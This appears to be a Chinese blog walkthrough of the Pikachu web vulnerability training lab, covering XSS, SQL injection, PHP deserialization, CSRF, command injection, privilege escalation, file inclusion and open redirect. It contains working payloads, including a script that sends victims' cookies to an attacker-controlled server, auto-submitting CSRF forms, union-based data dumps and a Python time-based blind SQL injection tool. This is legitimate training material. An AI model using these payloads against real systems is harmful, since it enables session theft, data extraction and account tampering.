了解一下?

Pikachu 漏洞练习平台

下面的演示中, 攻击者与被攻击者使用同一台服务器, ip地址使用ipadd代替

xss(Cross-Site Scripting)

什么是

高深莫测版:

  • xss: 跨站脚本(Cross-site scripting,通常简称为XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
  • csrf: 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。

通俗易懂版:

  • xss: 通过客户端脚本语言(最常见如:JavaScript),在网页上注入恶意脚本,且代码内容请求外部服务器。
  • csrf: 又称XSRF,冒充用户发起请求(在用户不知情的情况下),完成一些违背用户意愿的请求(如恶意发帖,删帖,改密码,发邮件等)。

反射性xss(GET)

首先尝试下输入<script>alert(1)</script>, 发现有字数限制, 然而通过观察或者抓包可以发现参数是通过GET上传的, 那么把刚才的代码赋值给参数message后, 成功的弹窗.
然后在服务器写入下面两个文件

  • get_cookie.js
    1
    2
    3
    var img = new Image();
    img.src = "http://ipadd/myxss/index.php?cookie=" + document.cookie;
    document.body.append(img);

这个js文件可以在页面中追加一个图片资源, 并且指向我们自己的一台服务器的某个文件(即下面的index.php)并向其发送参数.

  • index.php
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <!DOCTYPE html>
    <?php
    $cookie = $_GET['cookie'];
    $time = time();

    $ip = $_SERVER["REMOTE_ADDR"];
    $referer = $_SERVER['HTTP_REFERER'];
    $txt = date("Y/m/d-h:i:s")." ip=".$ip." cookie=".$cookie." referer=".$referer."\n";

    echo $txt;
    file_put_contents("log.txt",$txt,FILE_APPEND);
    ?>

接收上面传来的参数, 并保存于文件log.txt
这些准备工作完成后, 构造下面的payload:

1
http://ipadd/pikachu/vul/xss/xss_reflected_get.php?message=<script src=http://ipadd/myjs/get_cookie.js />&submit=submit

在浏览器访问后, 再查看log.txt中已经有了访问该链接的用户的cookie.

反射性xss(POST)

这题让我有些疑惑, 题目最开始是个登陆框, 这里应该是大概要用sql注入或者其它漏洞登陆后才有后续吧? 还好点一下提示后告诉了我们密码, 先登录再说.
登录后, 就和上题一样了, 唯一的区别是这次是用POST传参数, 我们抓下包, 修改其中 message 成我们的恶意代码. 后面的一切顺利.

但是这样还远远不够, 因为仅仅获取了我们自己的cookie.
试想下, 如何才能获取其它用户的cookie呢?

如果使用题目提供的admin账号登录后, 我们发现从登录页面跳转到了真的题目页http://ipadd/pikachu/vul/xss/xsspost/xss_reflected_post.php.
如果我们登录后直接访问这个页面发现的确不需要使用账号密码. 所以访问这个页面时一定使用了cookie.

我需要他(受害者)能够提交一份包含着我的代码的表单. 这里就需要伪造一个自动提交表单的页面.
可以先看下我们正常提交时的http数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /pikachu/vul/xss/xsspost/xss_reflected_post.php HTTP/1.1
Referer: http://ipadd/myxss/xss_post.php
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134
Accept-Language: zh-CN
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Content-Length: 94
Host: ipadd
Pragma: no-cache
Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=172i5in739ti4qqb1f2c752627
Connection: close

message=%3Cscript+src%3Dhttp%3A%2F%2Fipadd%3A999%2Fmyjs%2Fget_cookie.js&submit=submit

我们的表单需要两个参数messagesubmit.
它们的值先预先写进网页中, 在使用js脚本自动提交.
xss_post.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>  
<head>
</head>
<body>
<form method="post" action="http://ipadd/pikachu/vul/xss/xsspost/xss_reflected_post.php">

<input id="xssr_in" type= "text" maxlength="20" name="message" value="<script src=http://ipadd/myjs/get_cookie.js />" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
<script>
document.getElementById("postsubmit").click();
</script>
</body>
</html>

所以现在只需要让受害者访问http://ipadd/myxss/xss_post.php这个页面, 我就能直接获得他在这个页面的cookie, 简直不要太爽!(前提是该用户必须已经登录过)

存储型xss

感觉存储型比上面的反射型还要简单很多, 留言框输入:

1
<script src=http://ipadd/myjs/get_cookie.js />

完事~

DOM型xss

什么是 DOM?

再放一张w3school的图

总之, DOM应该就是包括html在内的结构化文档的一个树状模型. 不过html文档符合树状结构我倒是在大概一个月前用python selenium写那个QQ空间自动点赞的程序时就早有体会了. DOMxpath给我的印象还是很相似的, 不知两者严格来讲到底是什么关系.

再看题目这边, 随便输入一个123, 我们看到生成了一个超链接, 指向http://ipadd/pikachu/vul/xss/123, 也就是我们输入的内容会成为链接末尾的部分.

包含超链接的div元素的代码如下.

1
2
3
4
5
6
7
<div id="dom">
<a href="

123

">what do you see?</a>
</div>

这里生成div元素是通过js方法domxss()实现的.

1
2
3
4
5
6
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行

这里作者已经给了我们提示了, 我们需要闭合原语句来构造我们的payload.

1
2
3
4
'><img src="#" onmouseover="
var img = new Image();
img.src = 'http://ipadd/myxss/index.php?cookie=' + document.cookie;
document.body.append(img);">

将这段代码提交后, 我们看生成的

1
2
3
4
<a href="">
<img src="#" onmouseover=" var img = new Image(); img.src = 'http://ipadd/myxss/index.php?cookie=' + document.cookie; document.body.append(img);">
"'what do you see?"
</a>

当鼠标经过图片时, 我的服务器上就已经获取了用户的cookie.

DOM型xss-x

当提交后, 会产生第一个链接, 点击后会调用下面的方法(已经加入注释)生成第二个链接.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function domxss(){
var str = window.location.search; //获取url中的GET参数
var txss = decodeURIComponent(str.split("text=")[1]); //将str中的"text="删去
var xss = txss.replace(/\+/g,' '); //将txss中的 '+' 替换为 ' '
//alert(xss);
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
```

总之就是把我们输入的文本(此处成了参数)提取出来了.
后面的都差不多

### xss之盲打
提交的留言会直接显示在后台中.
虽然我们(用户)看不到, 但是管理员可以看到, 这是针对后台管理员的攻击.

### xss之过滤
题目使用了正则表达式过滤,
```php
$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);

使用下面的绕过.

sqli

数字型注入

因为输入框的数字被限定在了1-6, 所以需要抓包改数据. 最好使用burp suiteRepeater功能来多次发送payload.
可以令id=1 or 1, 这样所有的where 子句布尔值都为真, 可以遍历出, 所有的数据.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
hello,vince  
your email is: vince@pikachu.com
hello,allen
your email is: allen@pikachu.com
hello,kobe
your email is: kobe@pikachu.com
hello,grady
your email is: grady@pikachu.com
hello,kevin
your email is: kevin@pikachu.com
hello,lucy
your email is: lucy@pikachu.com
hello,lili
your email is: lili@pikachu.com

如果题目的mysql查询语句后加上LIMIT 0,1或你想爆出数据库更多的数据就不会这么简单了, 可以用我之间的sqli-lab里总结的方法, 如下:

  1. id=2-1, 发现和id=1时相同, 确定这是数字型.
  2. id=0, 查询结果集为空.
  3. id=0 union select 1,2, 查询结果为
    1
    2
    hello, 1  
    your email is:2

这表明结果集为两列.

  • id=0 union select database(),(select group_concat(schema_name) from information_schema.schemata)--+
    结果为(无关数据已打码)
    1
    2
    hello,pikachu 
    your email is: information_schema,xxxxx,mysql,performance_schema,xxxx,pikachu,xxxxxxxxx...

这样就获得了题目使用的数据库和所有数据库

  1. id=0 union select 2,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')--+, 结果为:
    1
    2
    hello,2
    your email is: httpinfo,member,message,users,xssblind

这样得到了该数据库的表名.

  1. id=0 union select 2,(select group_concat(column_name) from information_schema.columns where table_name='member')--+
    1
    your email is: id,username,pw,sex,phonenum,address,email

得到users的所有列名.

  1. id=0 union select (select group_concat(username) from pikachu.member),(select group_concat(email) from pikachu.member)--+爆出usernameemail这两个字段.
    1
    2
    hello,vince,allen,kobe,grady,kevin,lucy,lili
    your email is: vince@pikachu.com,allen@pikachu.com,kobe@pikachu.com,grady@pikachu.com,kevin@pikachu.com,lucy@pikachu.com,lili@pikachu.com

字符型注入

和上题类似, 只是字符型需要考虑闭合.
这里是用'闭合.

搜索型注入(略)

xx型注入(略)

布尔盲注(略)

这三个和之前的区别不大, 不赘述了.

时间盲注

这道题的特点是, 查询结果无论正确与否都不会显示出来.

所以可以使用时间盲注.

例如, 想要判断database()的文本长度, 就可以使用 payload

1
http://ipadd/pikachu/vul/sqli/sqli_blind_t.php?name=1' or length(database()) = 7 and sleep(3) -- &submit=%E6%9F%A5%E8%AF%A2

会发现页面延迟了很久才加载出来.

这是因为我们的查询语句中有sleep(3), 说明length(database())=7成立(否则会因为短路效应不执行sleep()).

基于这个原理, 我写了个时间盲注的python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import requests
import time
import math
import threading

# 全局变量, 避免使用引用传参
result = []

# 二分搜索
def bin_search(base, top, number, flag):
if flag : # 说明payload为真
base = number+1
else : # 说明 payload为假
top = number
number = int((top+base)/2)
return [base,top,number]

# 数字爆破
def boom_num_GET(targetUrl,info,parm):
[base,top,number] = [1,100,50]
while True:
payload = '1\' or length(('+ info +')) > '+str(number)+' and sleep(0.3) -- '
time1 = time.time()
requests.get(url= targetUrl + payload + parm)
time2 = time.time()
[base,top,number] = bin_search(base,top,number,time2-time1 > 1.2)
if base == top:
return base

# 字符爆破
def boom_chr(info,n,targetUrl,parm):
global result
# 设置ascii码的上下限
[base,top,number] = [32,126,79]
while True:
payload = '1\' or ascii(substr(('+ info +'),'+str(n)+',1)) > '+str(number)+' and sleep(0.3) -- '
time1 = time.time()
requests.get(url=targetUrl + payload + parm)
time2 = time.time()
[base,top,number] = bin_search(base,top,number,time2-time1 > 1.2)
if base == top:
break
result[n-1] = chr(base)
print(result)

# 文本爆破
def boom_text_GET(targetUrl,info,parm,len_of_txt):
global result
result = [0]*len_of_txt
for n in range(1,len_of_txt+1):
# 多线程
t = threading.Thread(target=boom_chr,args=(info,n,targetUrl,parm))
t.start()
# 这里限制最大线程数
while True:
if(len(threading.enumerate()) < 9):
break
# 确保所有线程跑完再退出去
while True:
if(len(threading.enumerate()) == 1):
return

# 主函数
def main():
global result
url = 'http://ipadd/pikachu/vul/sqli/sqli_blind_t.php?name=' #url的前半段
parm = '&submit=查询' # url的后半段
info = 'load_file(\'/var/lib/mysql-files/flag\')' # 你要查询的东东

print('start...')
time0 = time.time()
len_of_database = boom_num_GET(url,info,parm)
print("length of text is : ", len_of_database)

boom_text_GET(url,info, parm, len_of_database)
result = ''.join(result)
print("result is : ",result)
print("complete, cost time is ", time.time() - time0)

if __name__ == "__main__":
# get 请求下的mysql时间盲注脚本
main()

目前来看, 除了有点慢还是比较不错的, 有机会升级成多线程, 应该还能大幅缩短时间.

以后再说吧.

2019/9/15 更新(源码已修改)

  • 加入了我期待已久的多线程, 运行时间缩短为原先的八分之一左右

PHP反序列化漏洞

知识铺垫

  • 序列化 serialize()
  • 反序列化 unserialize()
  • 魔术方法: PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法. 关于魔术方法的定义我没有在网上明确的找到, 但是根据我的查阅, 类似C++中的构造函数, 拷贝赋值函数那样可以在某些特定时间自动执行的函数就是魔术方法.
  • 常用的几个魔术方法:
    函数名 作用
    __construct() 当一个对象创建时被调用
    __destruct() 当一个对象销毁时被调用
    __toString() 当一个对象被当作一个字符串使用
    __sleep() 在对象在被序列化之前运行
    __wakeup 将在序列化之后立即被调用

例题

当你输入任何非序列化字符串时, 都回返回一句大兄弟,来点劲爆点儿的!.

一开始有点不明所以, 不过既然是第一次学习, 我们还是先看看题目的源码吧!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 有改动, 去除无关紧要部分的代码
<?php
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
// 上面这行是作者留下的, 其实就是题目的payload了
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}
?>
<html>
... //略去无关代码
<?php echo $html;?>
... //略去无关代码

我们来追溯下输入普通字符串时和payload的时候程序内部的状态:

  • geidalaodicha

    1
    2
    3
    4
    5
    6
    $_POST['o'] = "geidalaodicha"
    $s = "geidalaodicha"
    unserialize($s)无法正常执行!
    (!@$unser = unserialize($s))为真
    进入第一个分支, $html = "<p>大兄弟,来点劲爆点儿的!</p>"
    打印 $html
  • O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

    1
    2
    3
    4
    5
    6
    $_POST['o'] = "O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}"
    $s = "O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}"
    unserialize($s)执行并返回$s反序列后的class S的实例对象
    进入第二个分支, $html = "<p>{$unser->test}</p>"
    <?php echo $html;?> => 打印出$unser->test的值, 也就是`<script ...`
    `<script...` 写入html中, 在前端执行.

获取有人会疑惑(好吧就是我)为啥打印的不是”

{$unser->test}

“这段文本, 而是test的值.

这是因为

对于可变变量使用大括号,比如:{$val},这时候大括号就是告诉PHP,括起来的部分要当成变量处理.

所以{$unser->test}直接被当成php语句解析了.

CSRF

CSRF(get)

看了下简介, 基本已经有了思路了, 盲猜应该不难.

首先登录lili的账号, 尝试下修改住址为china, 然后提交.

burp suite截取数据包.

1
2
3
4
5
6
7
8
9
GET /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=nan&phonenum=159&add=china&email=123%40qq.com&submit=submit HTTP/1.1
Host: ipadd
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://ipadd/pikachu/vul/csrf/csrfget/csrf_get_edit.php
Accept-Language: zh-CN,zh;q=0.9
Cookie: wp-settings-time-1=1557833844; wp-settings-1=mfold%3Do; PHPSESSID=60hrtmnnsubk5ji1sr2uo8pdd0
Connection: close

提交之后发现lili的信息被修改了.

如果攻击kobe的账号, 可以制作payload链接.

1
http://ipadd/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=5418&add=tianjin&email=123%40qq.com&submit=submit

当kobe点击了这个链接后, 他的信息就被修改了. (使用另一个登录kobe账号的浏览器来模拟)

CSRF(post)

和上面一样, 先登录进lili的账号, 看看是修改个人数据的数据包是长什么样子的.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
POST /pikachu/vul/csrf/csrfpost/csrf_post_edit.php HTTP/1.1
Host: ipadd
Content-Length: 71
Cache-Control: max-age=0
Origin: http://ipadd:999
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://ipadd/pikachu/vul/csrf/csrfpost/csrf_post_edit.php
Accept-Language: zh-CN,zh;q=0.9
Cookie: wp-settings-time-1=1557833844; wp-settings-1=mfold%3Do; PHPSESSID=gaumm4piiptr5mtnjtsrp3hes6
Connection: close

sex=girl&phonenum=138&add=tianjin&email=2222222%40tju.com&submit=submit
```
这种需要提交payload表单的环节, 需要我们自己的站点作为跳板, 类似前面的xss_post.

写一个自动提交表单的页面出来.
```html
<html>
<head>
</head>
<body>
<form method="post" action="http://ipadd/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">

<input id="mycsrf1" type= "text" maxlength="20" name="sex" value="girl" />
<input id="mycsrf2" type= "text" maxlength="20" name="phonenum" value="138" />
<input id="mycsrf3" type= "text" maxlength="20" name="email" value="22222@qq.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
<script>
document.getElementById("postsubmit").click();
</script>
</body>
</html>

好麻烦啊

测试一下, 成功了.

RCE

这两个都很简单, 一带而过咯.

exec “ping”

远程执行ping命令.

可以使用|(管道)来执行多条命令.

比如 ping localhost | ls, 会发现把当前目录的文件列表打印了出来.

exec “eval”

如果学过了php一句话木马, 对eval()这个函数都不会陌生.

system('ls');

Over Permission

op1 member

随便登录一个账号后, 点击查看个人信息.

发现被查询的用户是写进URL里的.

修改URL的参数为想要查询的账号即可越权查询.

op2 login

有两个管理员账号. 分别是普通管理(pikachu)和超级管理(admin)

先使用burp suite抓取admin的cookie.

在登录pikachu后, 尝试超级操作(如添加账号). 并讲数据包中的cookie换成admin的cookie.

发现操作成功了.

File Inclusion

File Inclusion(local)

在URL中filename参数为要包含的文件.

可以实现任意文件读取.

URL 重定向

可以看到URL后面接了一个url参数.

修改这个参数即可跳转到我们指定的页面.例如

1
http://ipadd/pikachu/vul/urlredirect/urlredirect.php?url=https://tjuyjn.top